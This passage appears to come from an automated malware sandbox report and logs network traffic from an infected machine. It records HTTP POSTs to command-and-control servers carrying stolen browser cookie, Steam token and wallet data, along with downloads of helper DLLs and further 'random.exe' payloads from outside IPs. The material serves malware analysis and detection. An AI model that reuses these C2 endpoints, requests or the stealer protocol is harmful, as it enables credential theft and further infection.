73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="message"plugins------HDHCFIJEGCAKJJKEHJJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="message"fplugins------JDBKJJKEBGHIDGCBKJJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKFHost: 185.215.113.206Content-Length: 6603Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGHIECGCBKFHIEBGHDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBGIIJDGHCBGCBFIEGHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="file"------AFHDAEGHDGDBGDGDAAFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIECFIEGDBKJKFIDHIECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 2d 2d 0d 0a Data Ascii: ------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIECFIEGDBKJKFIDHIECContent-Disposition: form-data; name="file"------GIECFIEGDBKJKFIDHIEC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="message"wallets------EGHCAKKEGCAAFHJJJDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHDHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="message"files------FCBFBGDBKJKECAAKKFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEBFCFIJJKKECAKJEHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file"------AKEBFCFIJJKKECAKJEHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="message"ybncbhylepme------EBAAFCAFCBKFHJJJKKFH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKJDGCGDAAAKECAKKJDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005663001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005664001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 00:57:31 GMTIf-None-Match: "6732a7fb-1ad800"
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="build"mars------AKKECAFBFHJDGDHIEHJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005665031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005666001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"mars------HCAEHJJKFCAAFHJKFBKK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 30 35 36 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1005667001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
